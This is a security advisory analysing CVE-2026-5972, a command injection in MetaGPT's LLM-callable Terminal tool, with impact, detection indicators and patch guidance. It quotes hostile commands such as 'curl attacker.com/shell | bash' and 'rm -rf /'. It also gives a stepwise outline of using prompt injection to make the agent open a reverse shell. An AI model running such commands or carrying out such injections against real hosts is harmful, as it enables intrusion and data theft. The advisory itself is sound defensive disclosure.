CVE-2026-5972: 
Python vulnerability analysis and mitigation

CVE-2026-5972 is an OS command injection vulnerability in FoundationAgents MetaGPT affecting all versions up to and including 0.8.1. The flaw resides in the Terminal.run_command function within metagpt/tools/libs/terminal.py, where an inadequate blocklist allows arbitrary OS commands to be executed without authentication. It was disclosed on April 9, 2026, with a patch available in version 0.8.2. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 5.5 (Medium) (Github Advisory, Feedly).

The root cause is classified as CWE-77 (Command Injection) and CWE-78 (OS Command Injection), stemming from an incomplete blocklist (CWE-184) in the Terminal class. The Terminal class is registered as an LLM-callable tool via the @register_tool() decorator, meaning the LLM can directly invoke run_command(). The blocklist only filters two specific strings ("run dev" and "serve "), leaving virtually all dangerous commands — such as rm -rf /, curl attacker.com/shell | bash, or reverse shell payloads — completely unfiltered. After this trivial check, the command is written directly to a persistent bash shell process via self.process.stdin.write((cmd + self.command_terminator).encode()), enabling arbitrary command execution. When combined with LLM prompt injection attacks, a remote attacker can manipulate the LLM agent to invoke run_command() with a malicious payload (GitHub Issue, Github Advisory).

Successful exploitation grants an unauthenticated remote attacker full OS command execution on the host running MetaGPT, with the privileges of the MetaGPT service account (potentially root). This enables complete confidentiality, integrity, and availability compromise: attackers can read and exfiltrate sensitive files, install malware or backdoors, destroy data, and pivot laterally to other systems on the same network. Any user running MetaGPT with agentic workflows where the LLM can be influenced by external input is at risk (GitHub Issue, Feedly).

A public proof-of-concept (PoC) exploit is available on GitHub, consisting of a complete, runnable Python script that demonstrates RCE by directly instantiating the Terminal class and executing arbitrary commands (e.g., id > /tmp/terminal_rce_proof.txt) (GitHub Issue). The EPSS score is approximately 0.46% (64th percentile), indicating a moderate near-term exploitation probability (Github Advisory). There is no confirmed evidence of in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not currently listed in the CISA KEV catalog (Feedly).

1. Reconnaissance: Identify internet-accessible MetaGPT deployments (version ≤ 0.8.1) where the Terminal tool is enabled and the LLM agent can be influenced by external input (e.g., via user-supplied prompts or data processed by the agent).
2. Craft a prompt injection payload: Prepare a malicious natural language prompt designed to instruct the LLM agent to call Terminal.run_command() with an attacker-controlled command, such as "id > /tmp/terminal_rce_proof.txt" or a reverse shell one-liner.
3. Deliver the payload: Submit the malicious prompt through any input channel the MetaGPT agent processes (e.g., task description, user message, or external data source ingested by the agent).
4. Bypass the blocklist: Since the blocklist only filters "run dev" and "serve ", virtually any dangerous command passes through unchecked.
5. Achieve RCE: The command is written directly to the persistent bash shell process. Verify execution by checking for the output file or establishing a reverse shell connection to an attacker-controlled server.
6. Post-exploitation: Use the shell access to exfiltrate data, install persistence mechanisms, or pivot to other systems on the network (GitHub Issue).

• Process: Unusual child processes spawned by the MetaGPT Python process (e.g., /bin/bash, curl, wget, python3 -c, nc, ncat) executing unexpected commands.
• File System: Unexpected files created in /tmp/ (e.g., /tmp/terminal_rce_proof.txt); new cron jobs, SSH authorized keys, or scripts added by the MetaGPT service account; web shells or backdoors in the MetaGPT workspace directory.
• Network: Outbound connections from the MetaGPT host to unknown external IPs or domains, particularly on non-standard ports (indicative of reverse shell or data exfiltration); unexpected DNS lookups from the MetaGPT process.
• Logs: System logs (/var/log/syslog, /var/log/auth.log) showing command execution under the MetaGPT service account that is inconsistent with normal agent activity; MetaGPT application logs recording run_command() calls with suspicious or destructive command strings (GitHub Issue, Feedly).

Upgrade MetaGPT to version 0.8.2 or later, which includes the security fix applied in patch commit d04ffc8dc67903e8b327f78ec121df5e190ffc7b. The patch replaces the weak blocklist with a strict command allowlist and regex-based dangerous pattern detection in the Bash class, and blocks shell metacharacters and command substitution. If immediate patching is not possible, restrict network access to the MetaGPT service to trusted hosts only, and avoid exposing the Terminal tool to untrusted LLM input. Consider running MetaGPT in a sandboxed container environment to limit the blast radius of any exploitation (Github Advisory, Patch Commit).

The vulnerability was reported by security researcher YLChen-007 via a GitHub issue on February 4, 2026, with a detailed technical write-up and PoC. The issue was labeled "inactive" by the MetaGPT maintainers, though a patch was subsequently developed and merged. No major vendor statements or significant media coverage beyond standard CVE aggregator reporting have been identified at this time (GitHub Issue, Github Advisory).